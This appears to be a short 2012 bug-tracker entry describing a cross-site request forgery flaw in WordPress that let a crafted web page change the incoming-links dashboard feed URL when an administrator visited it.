Description Jan Lieskovsky 2012-09-25 08:30:58 EDT
A cross-site request forgery (CSRF) flaw was found in the way WordPress, a blog tool and publishing platform, performed sanitization of parameters by registering dashboard widgets for incoming links widget. A remote attacker could provide a specially-crafted web page that, when visited by wordpress administrator could allow the attacker to change the URL of the feed for the incoming links section of the dashboard.
